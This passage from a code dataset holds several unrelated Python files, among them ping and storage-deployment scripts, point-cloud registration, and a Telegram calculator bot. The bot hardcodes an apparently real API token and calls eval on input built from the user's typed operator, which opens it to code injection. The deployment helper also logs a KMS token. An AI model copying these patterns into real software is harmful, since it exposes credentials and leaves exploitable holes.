lang)\n","sub_path":"scraiping_16p.py","file_name":"scraiping_16p.py","file_ext":"py","file_size_in_byte":3327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"112637170","text":"# from DirectedGraph import DirectedGraph\nfrom network import find_network_for\n# import requests\nimport json\n\n\ndef main():\n\n name = input(\"Enter user:\")\n a = find_network_for(name)\n print (json.dumps(a, indent=4))\n\nif __name__ == '__main__':\n main()\n","sub_path":"Week6/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"595894203","text":"#!/usr/bin/python2.7\n# Copyright 2012 JatLeGo Inc. All Rights Reserved.\n# Author: andyzh1314@gmail.com (Andy Zhau)\n\nimport base\n\nfrom stock.scoring import scorer\n\nflags, FLAGS = base.flags, base.FLAGS\n\nclass AverageFactor(scorer.Factor):\n\n NAME = \"Average\"\n PRIORITY = 100\n\n def Enabled(self):\n return FLAGS.enable_average_factor\n\n def ComputeScore(self, score_input, factor_output):\n index = self.PeriodIndex(score_input)\n\n def Avg(x):\n sw = sum(i.volume for i in x)\n if sw <= 0: return 0\n return sum(i.wap * i.volume for i in x) / sw\n\n if index:\n factor_output.average_5 = Avg(index[-5:])\n factor_output.average_12 = Avg(index[-12:])\n factor_output.average_26 = Avg(index[-26:])\n factor_output.average_50 = Avg(index[-50:])\n factor_output.average_100 = Avg(index[-100:])\n","sub_path":"stock/factors/average.py","file_name":"average.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"245260565","text":"\"\"\"\nTitle: Assignment #2 - Option #2\nAuthor: Jordan Pesek\nDate: October 2020\nCourse: CS 4312 Operating Systems\n\"\"\"\n\nimport subprocess\nimport platform\nimport sys\n\n\n# Simple file I/O to read in a list of IP addresses into an array.\ndef open_file(file_name):\n file_data = ''\n file = open(file_name, encoding=\"utf8\")\n file_data += file.read()\n file.close()\n data = file_data.split()\n return data\n\n\n# Here I use the subprocess library to sequentially ping all the addresses in the IP address list.\n# I also use the os library to detect which OS type is used to correctly form the ping command.\ndef ping_addresses(ip_list):\n results = []\n parameter = \"-n\" if platform.system().lower() == \"windows\" else \"-c\"\n for ip in ip_list:\n p = subprocess.call([\"ping\", parameter, '1', '-w', '1', '-i', '1', ip], stdout=subprocess.DEVNULL)\n results.append(p)\n print(str(p) + \", \" + ip)\n return results\n\n\n# In this method, I count each of the available and unavailable addresses, and relay that data.\ndef get_and_print_availability(ip_list, results):\n available_count = 0\n unavailable_count = 0\n for ip, p in zip(ip_list, results):\n if p == 0:\n available_count += 1\n else:\n unavailable_count += 1\n print(str(available_count) + \" addresses were available. \" + str(unavailable_count) + \" were not.\")\n\n\nif __name__ == '__main__':\n if len(sys.argv) != 2:\n print(\"Try again with the following command line interface: 'py main.py files verbose' \"\n \"where files is a txt file containing a list of IP addresses.\")\n sys.exit()\n\n list_of_ips = open_file(sys.argv[1])\n list_of_results = ping_addresses(list_of_ips)\n get_and_print_availability(list_of_ips, list_of_results)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"274878301","text":"import logging\nimport tempfile\nimport time\n\nfrom ocs_ci.ocs.ui.views import locators\nfrom ocs_ci.ocs.ui.base_ui import PageNavigator\nfrom ocs_ci.utility.utils import get_ocp_version, TimeoutSampler, run_cmd\nfrom ocs_ci.utility import templating\nfrom ocs_ci.ocs.exceptions import TimeoutExpiredError\nfrom ocs_ci.framework import config\nfrom ocs_ci.ocs import constants\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass DeploymentUI(PageNavigator):\n \"\"\"\n Deployment OCS Operator via User Interface\n\n \"\"\"\n\n def __init__(self, driver):\n super().__init__(driver)\n ocp_version = get_ocp_version()\n self.dep_loc = locators[ocp_version][\"deployment\"]\n self.mode = \"internal\"\n self.storage_class_type = \"thin_sc\"\n self.osd_size = \"512\"\n self.is_wide_encryption = False\n self.is_class_encryption = False\n self.is_use_kms = False\n\n @property\n def select_mode(self):\n return self.mode\n\n @select_mode.setter\n def select_mode(self, mode):\n if not isinstance(mode, str):\n raise ValueError(\"mode arg must be a string\")\n self.mode = mode\n\n @property\n def select_storage_class(self):\n return self.storage_class_type\n\n @select_storage_class.setter\n def select_storage_class(self, storage_class):\n if not isinstance(storage_class, str):\n raise ValueError(\"storage class arg must be a string\")\n self.storage_class = storage_class\n\n @property\n def select_osd_size(self):\n return self.osd_size\n\n @select_osd_size.setter\n def select_osd_size(self, osd_size):\n if not isinstance(osd_size, str):\n raise ValueError(\"osd size arg must be a string\")\n self.osd_size = osd_size\n\n @property\n def wide_encryption(self):\n return self.is_wide_encryption\n\n @wide_encryption.setter\n def wide_encryption(self, is_wide_encryption):\n if not isinstance(is_wide_encryption, bool):\n raise ValueError(\"is_wide_encryption arg must be a bool\")\n self.is_wide_encryption = is_wide_encryption\n\n @property\n def class_encryption(self):\n return self.is_class_encryption\n\n @class_encryption.setter\n def class_encryption(self, is_class_encryption):\n if not isinstance(is_class_encryption, bool):\n raise ValueError(\"is_class_encryption arg must be a bool\")\n self.is_class_encryption = is_class_encryption\n\n @property\n def select_service_name(self):\n return self.service_name\n\n @select_service_name.setter\n def select_service_name(self, service_name):\n if not isinstance(service_name, str):\n raise ValueError(\"service_name arg must be a string\")\n self.service_name = service_name\n\n @property\n def use_kms(self):\n return self.is_use_kms\n\n @use_kms.setter\n def use_kms(self, is_use_kms):\n if not isinstance(is_use_kms, bool):\n raise ValueError(\"is_use_kms arg must be a bool\")\n self.is_use_kms = is_use_kms\n\n @property\n def select_kms_address(self):\n return self.kms_address\n\n @select_kms_address.setter\n def select_kms_address(self, kms_address):\n if not isinstance(kms_address, str):\n raise ValueError(\"kms_address arg must be a string\")\n self.kms_address = kms_address\n\n @property\n def select_kms_address_port(self):\n return self.kms_address_port\n\n @select_kms_address_port.setter\n def select_kms_address_port(self, kms_address_port):\n if not isinstance(kms_address_port, str):\n raise ValueError(\"kms_address_port arg must be a string\")\n self.kms_address_port = kms_address_port\n\n @property\n def select_kms_token(self):\n return self.kms_token\n\n @select_kms_token.setter\n def select_kms_token(self, kms_token):\n if not isinstance(kms_token, str):\n raise ValueError(\"kms_token arg must be a string\")\n self.kms_token = kms_token\n\n def create_catalog_source_yaml(self):\n \"\"\"\n Create OLM YAML file\n\n \"\"\"\n try:\n catalog_source_data = templating.load_yaml(constants.CATALOG_SOURCE_YAML)\n image = config.DEPLOYMENT.get(\n \"ocs_registry_image\", config.DEPLOYMENT[\"default_ocs_registry_image\"]\n )\n catalog_source_data[\"spec\"][\"image\"] = image\n catalog_source_manifest = tempfile.NamedTemporaryFile(\n mode=\"w+\", prefix=\"catalog_source_manifest\", delete=False\n )\n templating.dump_data_to_temp_yaml(\n catalog_source_data, catalog_source_manifest.name\n )\n run_cmd(f\"oc create -f {catalog_source_manifest.name}\", timeout=300)\n run_cmd(f\"oc create -f {constants.OLM_YAML}\", timeout=300)\n time.sleep(60)\n except Exception as e:\n logger.info(e)\n\n def install_ocs_operator(self):\n \"\"\"\n Install OCS Opeartor\n\n \"\"\"\n self.navigate_operatorhub_page()\n\n logger.info(\"Search OCS Operator\")\n self.do_send_keys(\n self.dep_loc[\"search_operators\"], text=\"OpenShift Container Storage\"\n )\n\n logger.info(\"Choose OCS Version\")\n self.do_click(self.dep_loc[\"choose_ocs_version\"])\n\n logger.info(\"Click Install OCS\")\n self.do_click(self.dep_loc[\"click_install_ocs\"])\n self.do_click(self.dep_loc[\"click_install_ocs_page\"])\n time.sleep(60)\n\n def install_storage_cluster(self):\n \"\"\"\n Install Storage Cluster\n\n \"\"\"\n self.navigate_operatorhub_page()\n self.navigate_installed_operators_page()\n\n logger.info(\"Search OCS operator installed\")\n self.do_send_keys(\n locator=self.dep_loc[\"search_ocs_installed\"],\n text=\"OpenShift Container Storage\",\n )\n\n logger.info(\"Click on ocs operator on Installed Operators\")\n self.do_click(locator=self.dep_loc[\"ocs_operator_installed\"])\n\n logger.info(\"Click on Storage Cluster\")\n self.do_click(locator=self.dep_loc[\"storage_cluster_tab\"])\n\n logger.info(\"Click on Create Storage Cluster\")\n self.refresh_page()\n self.do_click(locator=self.dep_loc[\"create_storage_cluster\"])\n\n if self.mode == \"internal\":\n self.install_internal_cluster()\n else:\n raise ValueError(f\"Not Support on {self.mode}\")\n\n def install_internal_cluster(self):\n \"\"\"\n Install Internal Cluster\n\n \"\"\"\n logger.info(\"Click Internal\")\n self.do_click(locator=self.dep_loc[\"internal_mode\"])\n\n logger.info(\"Configure Storage Class (thin on vmware, gp2 on aws)\")\n self.do_click(locator=self.dep_loc[\"storage_class_dropdown\"])\n self.do_click(locator=self.dep_loc[self.storage_class_type])\n\n logger.info(f\"Configure OSD Capacity {self.osd_size}\")\n self.choose_expanded_mode(mode=True, locator=self.dep_loc[\"osd_size_dropdown\"])\n self.do_click(locator=self.dep_loc[self.osd_size])\n\n logger.info(\"Select all worker nodes\")\n self.select_checkbox_status(status=True, locator=self.dep_loc[\"all_nodes\"])\n\n logger.info(\"Next on step 'Select capacity and nodes'\")\n self.do_click(locator=self.dep_loc[\"next_capacity\"])\n\n self.configure_encryption()\n\n self.configure_kms()\n\n logger.info(\"Click on Next on configure page\")\n self.do_click(locator=self.dep_loc[\"next_on_configure\"])\n\n logger.info(\"Create on Review and create page\")\n self.do_click(locator=self.dep_loc[\"create_on_review\"])\n\n logger.info(\"Sleep 10 second after click on 'create storage cluster'\")\n time.sleep(10)\n\n def configure_encryption(self):\n \"\"\"\n Configure Encryption\n\n \"\"\"\n if self.is_wide_encryption or self.is_class_encryption:\n logger.info(\"Enable Encryption\")\n self.select_checkbox_status(\n status=True, locator=self.dep_loc[\"enable_encryption\"]\n )\n\n if self.is_wide_encryption:\n logger.info(\"Cluster-wide encryption\")\n self.select_checkbox_status(\n status=True, locator=self.dep_loc[\"wide_encryption\"]\n )\n\n if self.is_class_encryption:\n logger.info(\"Storage class encryption\")\n self.select_checkbox_status(\n status=True, locator=self.dep_loc[\"class_encryption\"]\n )\n\n def configure_kms(self):\n \"\"\"\n Configure KMS\n\n \"\"\"\n if self.is_use_kms:\n logger.info(f\"kms service name: {self.service_name}\")\n self.do_send_keys(\n text=self.service_name, locator=self.dep_loc[\"kms_service_name\"]\n )\n\n logger.info(f\"kms address: {self.kms_address}\")\n self.do_send_keys(\n text=self.kms_address, locator=self.dep_loc[\"kms_address\"]\n )\n\n logger.info(f\"kms address port: {self.kms_address_port}\")\n self.do_send_keys(\n text=self.kms_address_port, locator=self.dep_loc[\"kms_address_port\"]\n )\n\n logger.info(f\"kms_token: {self.kms_token}\")\n self.do_send_keys(text=self.kms_token, locator=self.dep_loc[\"kms_token\"])\n\n def verify_ocs_operator_succeeded(self, timeout_install=300, sleep=20):\n \"\"\"\n Verify OCS Installation\n\n timeout_install (int): Time in seconds to wait\n sleep (int): Sampling time in seconds\n\n \"\"\"\n self.navigate_operatorhub_page()\n self.navigate_installed_operators_page()\n\n self.do_send_keys(\n locator=self.dep_loc[\"search_ocs_install\"],\n text=\"OpenShift Container Storage\",\n )\n sample = TimeoutSampler(\n timeout=timeout_install,\n sleep=sleep,\n func=self.check_element_text,\n expected_text=\"Succeeded\",\n )\n if not sample.wait_for_func_status(result=True):\n logger.error(\n f\"OCS Installation status is not Succeeded after {timeout_install} seconds\"\n )\n raise TimeoutExpiredError\n\n def install_ocs_ui(self):\n \"\"\"\n Install OCS via UI\n\n \"\"\"\n self.create_catalog_source_yaml()\n self.install_ocs_operator()\n self.verify_ocs_operator_succeeded()\n self.install_storage_cluster()\n","sub_path":"ocs_ci/ocs/ui/deployment_ui.py","file_name":"deployment_ui.py","file_ext":"py","file_size_in_byte":10421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"499699794","text":"import numpy as np\nimport torch\nimport sys\nfrom sklearn.neighbors import NearestNeighbors as NN\nimport geop.geometry.util as gutil\nfrom torch_scatter import scatter_add, scatter_mean\nfrom torch_geometric.nn import knn\n\n\"\"\" Iterative Closest Points (ICP) Method according to point-to-plane metric.\n Inputs:\n source: o3d.geometry.PointCloud\n target: o3d.geometry.PointCloud\n sigma: soft-thresholding [default 0.01]\n max_iter: maximum number of iterations [default 100]\n stopping_threshold: stopping threshold for ICP algorithm [default 1e-4]\n Outputs:\n transform: np.ndarray of shape [4, 4].\n Transformation from source to target.\n\"\"\"\ndef icp_reweighted(source, target, sigma=0.01, max_iter = 100,\n stopping_threshold=1e-4):\n \"\"\" If target has no normals, estimate \"\"\"\n import open3d as o3d\n if np.array(target.normals).shape[0] == 0:\n search_param = o3d.geometry.KDTreeSearchParamHybrid(\n radius=0.2, max_nn=30)\n o3d.estimate_normals(target, search_param=search_param)\n\n tree = NN(n_neighbors=1, algorithm='kd_tree', n_jobs=10)\n tree = tree.fit(np.array(target.points))\n n = np.array(source.points).shape[0]\n normals = np.array(target.normals)\n points = np.array(target.points)\n weights = np.zeros(n)\n errors = []\n transform = np.eye(4)\n\n for itr in range(max_iter):\n p = np.array(source.points)\n R, trans = gutil.unpack(transform)\n p = (R.dot(p.T) + trans.reshape((3, 1))).T\n _, indices = tree.kneighbors(p)\n\n \"\"\" (r X pi + pi + t - qi)^T ni \"\"\"\n \"\"\"( + + )^2\"\"\"\n \"\"\" (<(r; t), hi> + di)^2 \"\"\"\n nor = normals[indices[:, 0], :]\n q = points[indices[:, 0], :]\n d = np.sum(np.multiply(p-q, nor), axis=1) #[n]\n h = np.zeros((n, 6))\n h[:, :3] = np.cross(p, nor)\n h[:, 3:] = nor\n weight = (sigma**2)/(np.square(d)+sigma**2)\n H = np.multiply(h.T, weight).dot(h)\n g = -h.T.dot(np.multiply(d, weight))\n delta = np.linalg.solve(H + np.eye(H.shape[0])*0.1, g)\n errors = np.abs(d)\n mean_err = np.mean(errors)\n if (itr + 1 == max_iter) or \\\n (np.linalg.norm(delta, 2) < stopping_threshold):\n print('iter=%d, delta=%f, mean error=%f, median error=%f' % (\n itr, np.linalg.norm(delta, 2),\n np.mean(errors), np.median(errors)))\n break\n trans = delta[3:]\n R = gutil.rodrigues(delta[:3])\n T = gutil.pack(R, trans)\n transform = T.dot(transform)\n\n return transform, mean_err\n\ndef batched_icp(source_points, target_points, target_normals,\n point2cluster, init_transf=None,\n sigma=0.05, max_iter=40,\n stopping_threshold=1e-2,\n device='cpu'):\n \"\"\"\n Args:\n source_points (torch.Tensor, shape=[N1, 3]): moving frame\n target_points (torch.Tensor, shape=[N2, 3]): reference frame\n target_normals (torch.Tensor, shape=[N2, 3]): normal\n point2cluster (torch.Tensor, shape=[N1]): cluster assignments ([M])\n\n Returns:\n transform (torch.Tensor, shape=[M, 4, 4]): per cluster rigid\n transformation\n\n \"\"\"\n source_points = torch.as_tensor(source_points).float().to(device)\n target_points = torch.as_tensor(target_points).float().to(device)\n target_points_cpu = target_points.detach().cpu()\n target_normals = torch.as_tensor(target_normals).float().to(device)\n point2cluster = torch.as_tensor(point2cluster).long().to(device)\n num_clusters = point2cluster.max()+1\n if init_transf is None:\n init_transf = torch.eye(4).repeat(num_clusters, 1, 1).float().to(device) # [M, 4, 4]\n else:\n init_transf = init_transf.float().to(device)\n \n transform = init_transf.clone()\n lamb = 0.1\n active_mask = torch.as_tensor([True], dtype=torch.bool\n ).repeat(num_clusters) # [M]\n\n import time\n for sigma in [0.05, 0.2, 1.0]:\n p = source_points.clone()\n R, trans = gutil.unpack(transform) # [M, 3, 3], [M, 3]\n R_p, trans_p = R[point2cluster], trans[point2cluster] # [N, 3, 3], [N, 3]\n p = R_p.matmul(p.unsqueeze(-1)).squeeze(-1) + trans_p # [N, 3]\n for itr in range(max_iter):\n active_mask_p = active_mask[point2cluster] # [N]\n p_active = p[active_mask_p]\n t0 = time.time()\n e0, e1 = knn(target_points_cpu, p_active.detach().cpu(), 1).to(device)\n #print(f'itr={itr}, p_active={active_mask_p.float().sum()}, time={(time.time()-t0):.4f}')\n nor = target_normals[e1] # [N, 3]\n q = target_points[e1] # [N, 3]\n d = ((p_active - q) * nor).sum(-1) # [N]\n h = torch.zeros(p_active.shape[0], 6) # [N, 6]\n h = torch.cat([torch.cross(p_active, nor), nor], dim=-1)\n point2cluster_active = point2cluster[active_mask_p]\n #h[:, :3] = torch.cross(p, nor)\n #h[:, 3:] = nor\n weight = (sigma**2)/(d.square()+sigma**2) # [N]\n hhT = h.unsqueeze(-1).matmul(h.unsqueeze(-2)) # [N, 6, 1] @ [N, 1, 6]\n hhT = (hhT * weight.unsqueeze(-1).unsqueeze(-1)).view(-1, 36) # [N, 36]\n H = scatter_add(hhT.view(-1, 36).double(), point2cluster_active,\n dim=0, dim_size=num_clusters).view(-1, 6, 6) # [M, 6, 6]\n #H = (h.T * weight).mm(h) # [6, 6]\n g = -h * (d * weight).unsqueeze(-1) # [N, 6]\n g = scatter_add(g.double(), point2cluster_active, dim=0,\n dim_size=num_clusters) # [M, 6]\n # torch.linalg.solve is not working...\n \n H = H + lamb*torch.eye(6).repeat(H.shape[0], 1, 1).to(H.device)\n if H.is_cuda:\n delta = torch.linalg.lstsq(H, g).solution.float() # [M, 6]\n else:\n delta = np.linalg.solve(H.numpy(), g.numpy())\n delta = torch.as_tensor(delta).float().to(H.device)\n \n #g = -h.T.mm((d * weight).unsqueeze(-1)).squeeze(-1) # [6, 1]\n \n trans = delta[..., 3:] # [M, 3]\n R = gutil.axis_angle_to_matrix(delta[..., :3]) #[M, 3, 3]\n T = gutil.pack_torch(R, trans) # [M, 4, 4]\n transform = T.matmul(transform) # [M, 4, 4]\n #T = gutil.pack(R, trans) # [M, 4, 4]\n R_p, trans_p = R[point2cluster], trans[point2cluster] # [N, 3, 3], [N, 3]\n p = R_p.matmul(p.unsqueeze(-1)).squeeze(-1) + trans_p # [N, 3]\n \n active_mask = delta.norm(p=2, dim=-1) > stopping_threshold\n if delta.norm(p=2, dim=-1).max() <= stopping_threshold:\n break\n \n e0, e1 = knn(target_points_cpu, p.detach().cpu(), 1).to(device)\n nor = target_normals[e1] # [N, 3]\n q = target_points[e1] # [N, 3]\n d = ((p - q) * nor).sum(-1) # [N]\n errors = scatter_mean(d.abs(), point2cluster, dim=0, dim_size=num_clusters) #[M]\n active_mask[errors > 0.1] = True\n active_mask[errors <= 0.1] = False\n if sigma < 0.8:\n transform[active_mask, :, :] = init_transf[active_mask]\n\n return transform.detach().cpu()\n\n#if __name__ == '__main__':\n# import argparse\n# parser = argparse.ArgumentParser(description='reweighted ICP algorithm')\n# parser.add_argument('--source', type=str,\n# help='source point cloud or mesh in .ply format')\n# parser.add_argument('--target', type=str,\n# help='target point cloud or mesh in .ply format')\n# args = parser.parse_args()\n#\n# source = o3d.io.read_point_cloud(args.source)\n# try:\n# mesh = o3d.read_triangle_mesh(args.target)\n# if np.array(mesh.triangles).shape[0] == 0:\n# assert False\n# v = np.array(mesh.vertices)\n# tri = np.array(mesh.triangles)\n# v1 = v[tri[:, 0], :]\n# v2 = v[tri[:, 1], :]\n# v3 = v[tri[:, 2], :]\n# normals = np.cross(v1-v3, v2-v3)\n# normals = (normals.T / np.linalg.norm(normals, 2, axis=1)).T\n# centers = (v1+v2+v3)/3.0\n#\n# target = o3d.PointCloud()\n# target.points = o3d.utility.Vector3dVector(centers)\n# target.normals = o3d.utility.Vector3dVector(normals)\n# except:\n# target = o3d.io.read_point_cloud(args.target)\n# search_param = o3d.geometry.KDTreeSearchParamHybrid(\n# radius=0.2, max_nn=30)\n# target.estimate_normals(search_param=search_param)\n#\n# transformation = icp_reweighted(source, target)\n# source.transform(transformation)\n# o3d.visualization.draw_geometries([source, target])\n","sub_path":"geop/registration/icp.py","file_name":"icp.py","file_ext":"py","file_size_in_byte":8821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"309117920","text":"from PIL import Image\nimport math\nimport cv2\nimg = Image.open('sea.png').convert('L')\nimg2=cv2.imread('sea.png',0);\ncv2.imshow('Gray',img2)\ncv2.waitKey(0)\npix = img.load()\n\nB = 0\n\nfor i in range(img.size[0]):\n for j in range(img.size[1]):\n B = B+pix[i,j]\n\nprint('The Total Sum of the pixel Values : ',B)\n\nB = B/(img.size[0]*img.size[1])\n\nprint('The Brightnes : ',B)\n\n\ntotal = 0\n#contrast=root((1/(h*w))*(f(x,y)-B)^2))\nfor i in range(img.size[0]):\n for j in range(img.size[1]):\n total = total+(pix[i,j] - B)*(pix[i,j] - B)\n\ncontrast = (1/(img.size[0]*img.size[1]))\ncontrast = contrast * total\ncontrast = math.sqrt(contrast)\n\nprint('Contrast of the Image = ',contrast)\n","sub_path":"Image_P/BrightnessNcontrast.py","file_name":"BrightnessNcontrast.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"396870614","text":"from tkinter import *\nimport sqlite3 as sql\nimport matplotlib.pyplot as plt\n\n\nclass Graph:\n def __init__(self):\n self.plots = plt\n self.plots.xlabel(\"Blood Groups\")\n self.plots.ylabel(\"Quantity Available\")\n self.plots.title(\"Values\")\n self.table = \"blood_bank\"\n self.connection = sql.connect(\"Blood.db\")\n self.cursor = self.connection.cursor()\n self.x = [\"O+\", \"O-\", \"A+\", \"A-\",\n \"B+\", \"B-\", \"AB+\", \"AB-\"]\n self.y = []\n\n def show_graph(self):\n self.get_data_from_database()\n self.plots.plot(self.x, self.y)\n self.plots.show()\n\n def get_data_from_database(self):\n for index, blood_group in enumerate(self.x):\n rows = self.cursor.execute(\n \"select * from %s where bgroup='%s'\" % (self.table, blood_group)).fetchall()\n quantity = 0\n for value in rows:\n quantity += value[3]\n self.y.append(quantity)\n","sub_path":"package/Graph.py","file_name":"Graph.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"20982847","text":"import telebot\nfrom telebot import types # кнопки Telegram\n\nbot = telebot.TeleBot('1082520573:AAF0Q_YP5CBnJP_IIufTh359CooJ6EpGE2E')\n\n\nuser_num1 = ''\nuser_num2 = ''\nuser_proc = ''\nuser_result = None\n\n\n# если /start, /help\n@bot.message_handler(commands=['start', 'help'])\ndef send_welcome(message):\n \n markup = types.ReplyKeyboardRemove(selective=False)\n\n msg = bot.send_message(message.chat.id,\n \"Привет \" + message.from_user.first_name + \", я бот-калькулятор\\nВведите число\",\n reply_markup=markup)\n bot.register_next_step_handler(msg, process_num1_step)\n\n\n# введите первое число\ndef process_num1_step(message, user_result=None):\n try:\n global user_num1\n if user_result is None:\n user_num1 = int(message.text)\n else:\n user_num1 = str(user_result)\n\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=2)\n itembtn1 = types.KeyboardButton('+')\n itembtn2 = types.KeyboardButton('-')\n itembtn3 = types.KeyboardButton('*')\n itembtn4 = types.KeyboardButton('/')\n markup.add(itembtn1, itembtn2, itembtn3, itembtn4)\n\n msg = bot.send_message(message.chat.id, \"Выберите операцию\", reply_markup=markup)\n bot.register_next_step_handler(msg, process_proc_step)\n except Exception as e:\n bot.reply_to(message, 'Это не число или что то пошло не так...')\n\n\n# выберите операцию +, -, *, /\ndef process_proc_step(message):\n try:\n global user_proc\n user_proc = message.text\n markup = types.ReplyKeyboardRemove(selective=False)\n\n msg = bot.send_message(message.chat.id, \"Введите еще число\", reply_markup=markup)\n bot.register_next_step_handler(msg, process_num2_step)\n except Exception as e:\n bot.reply_to(message, 'Вы ввели что то другое или что то пошло не так...')\n\n\n# введите второе число\ndef process_num2_step(message):\n try:\n global user_num2\n user_num2 = int(message.text)\n\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=2)\n itembtn1 = types.KeyboardButton('Результат')\n itembtn2 = types.KeyboardButton('Продолжить вычисление')\n markup.add(itembtn1, itembtn2)\n\n msg = bot.send_message(message.chat.id, \"Показать результат или продолжить операцию?\", reply_markup=markup)\n bot.register_next_step_handler(msg, process_alternative_step)\n except Exception as e:\n bot.reply_to(message, 'Это не число или что то пошло не так...')\n\n\n# показать результат или продолжить операцию\ndef process_alternative_step(message):\n try:\n\n calc()\n\n markup = types.ReplyKeyboardRemove(selective=False)\n\n if message.text.lower() == 'результат':\n bot.send_message(message.chat.id, calcResultPrint(), reply_markup=markup)\n elif message.text.lower() == 'продолжить вычисление':\n process_num1_step(message, user_result)\n except Exception as e:\n bot.reply_to(message, 'Что то пошло не так...')\n\n\n# Вывод результата пользователю\ndef calcResultPrint():\n global user_num1, user_num2, user_proc, user_result\n return \"Результат: \" + str(user_num1) + ' ' + user_proc + ' ' + str(user_num2) + ' = ' + str(user_result)\n\n\n# Вычисление\ndef calc():\n global user_num1, user_num2, user_proc, user_result\n\n user_result = eval(str(user_num1) + user_proc + str(user_num2))\n\n return user_result\n\n\nbot.enable_save_next_step_handlers(delay=2)\n\nbot.load_next_step_handlers()\n\nif __name__ == '__main__':\n bot.polling(none_stop=True)\n","sub_path":"tbot_main.py","file_name":"tbot_main.py","file_ext":"py","file_size_in_byte":3990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"626056478","text":"# Индивидуальное задание\n# Засько Богдан\n# КНИТ16-А\n# Для всех вариантов, №4\n\na=360\nb=a/12\nc=b/60\nd=c/60\nwhile True:\n try:\n hour=int(input(\"Часов - \"))\n minute=int(input(\"Минут - \"))\n second=int(input(\"Секунд - \"))\n if hour not in range(0,12) or minute not in range(0,60) or second not in range(0,60):\n print(\"Ошибка: недопустимое значение времени\")\n continue\n else:\n corner=b*hour+c*minute+d*second\n print(\"Угол равен\",corner)\n cont=input(\"Для продолжения введите yes, для завершения любое другое значение \\n\")\n if cont==\"yes\":\n print(\"\")\n continue\n else:\n break\n except ValueError:\n print(\"Ошибка: введено не целое число\")\n continue\n","sub_path":"laba4/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"375730098","text":"import strat70\nimport stratRotD90\nimport robot2I013\n\nclass StratCarre70():\n \n def __init__(self,robot):\n self.distance=0\n self.cpt=0\n self.stp=False\n self.robot=robot\n self.S70=strat70.Strat70(robot)\n self.SRot=stratRotD90.StratRotD90(robot)\n \n def update(self):\n if not self.S70.stop():\n self.S70.update()\n else:\n if not self.SRot.stop():\n self.SRot.update()\n else:\n self.S70=strat70.Strat70(self.robot)\n self.cpt+=1\n self.SRot=stratRotD90.StratRotD90(self.robot)\n if self.cpt == 4:\n self.stp=True\n \n def stop(self):\n return self.stp\n","sub_path":"simulation/API/stratCarre70.py","file_name":"stratCarre70.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"567597804","text":"# Author: Rishabh Sharma \n# This module was developed under funding provided by\n# Google Summer of Code 2014\n\nimport os\nfrom urllib.parse import urlsplit\n\nfrom astropy.time import TimeDelta\nfrom astropy.time import Time\nimport astropy.units as u\n\n\nfrom datetime import timedelta\nfrom sunpy.time import parse_time, TimeRange\nfrom ..client import GenericClient\nfrom sunpy import config\n\nTIME_FORMAT = config.get(\"general\", \"time_format\")\n\n__all__ = ['XRSClient']\n\n\nclass XRSClient(GenericClient):\n \"\"\"\n Provides access to the GOES XRS fits files\n `archive `__ hosted\n by the `Solar Data Analysis Center `__.\n\n Examples\n --------\n\n >>> from sunpy.net import Fido, attrs as a\n >>> results = Fido.search(a.Time(\"2016/1/1\", \"2016/1/2\"),\n ... a.Instrument('XRS')) #doctest: +REMOTE_DATA\n >>> results #doctest: +REMOTE_DATA +ELLIPSIS\n \n Results from 1 Provider:\n \n 2 Results from the XRSClient:\n Start Time End Time Source Instrument Wavelength\n str19 str19 str4 str4 str3\n ------------------- ------------------- ------ ---------- ----------\n 2016-01-01 00:00:00 2016-01-01 23:59:59 nasa goes nan\n 2016-01-02 00:00:00 2016-01-02 23:59:59 nasa goes nan\n \n \n\n \"\"\"\n def _get_goes_sat_num(self, date):\n \"\"\"\n Determines the satellite number for a given date.\n\n Parameters\n ----------\n\n date : `astropy.time.Time`\n The date to determine which satellite is active.\n \"\"\"\n goes_operational = {\n 2: TimeRange('1981-01-01', '1983-04-30'),\n 5: TimeRange('1983-05-02', '1984-07-31'),\n 6: TimeRange('1983-06-01', '1994-08-18'),\n 7: TimeRange('1994-01-01', '1996-08-13'),\n 8: TimeRange('1996-03-21', '2003-06-18'),\n 9: TimeRange('1997-01-01', '1998-09-08'),\n 10: TimeRange('1998-07-10', '2009-12-01'),\n 11: TimeRange('2006-06-20', '2008-02-15'),\n 12: TimeRange('2002-12-13', '2007-05-08'),\n 13: TimeRange('2006-08-01', '2006-08-01'),\n 14: TimeRange('2009-12-02', '2010-10-04'),\n 15: TimeRange('2010-09-01', parse_time('now'))\n }\n\n results = []\n for sat_num in goes_operational:\n if date in goes_operational[sat_num]:\n # if true then the satellite with sat_num is available\n results.append(sat_num)\n\n if results:\n # Return the newest satellite\n return max(results)\n else:\n # if no satellites were found then raise an exception\n raise ValueError('No operational GOES satellites on {}'.format(\n date.strftime(TIME_FORMAT)))\n\n def _get_time_for_url(self, urls):\n times = []\n for uri in urls:\n uripath = urlsplit(uri).path\n\n # Extract the yymmdd or yyyymmdd timestamp\n datestamp = os.path.splitext(os.path.split(uripath)[1])[0][4:]\n\n # 1999-01-15 as an integer.\n if int(datestamp) <= 990115:\n start = 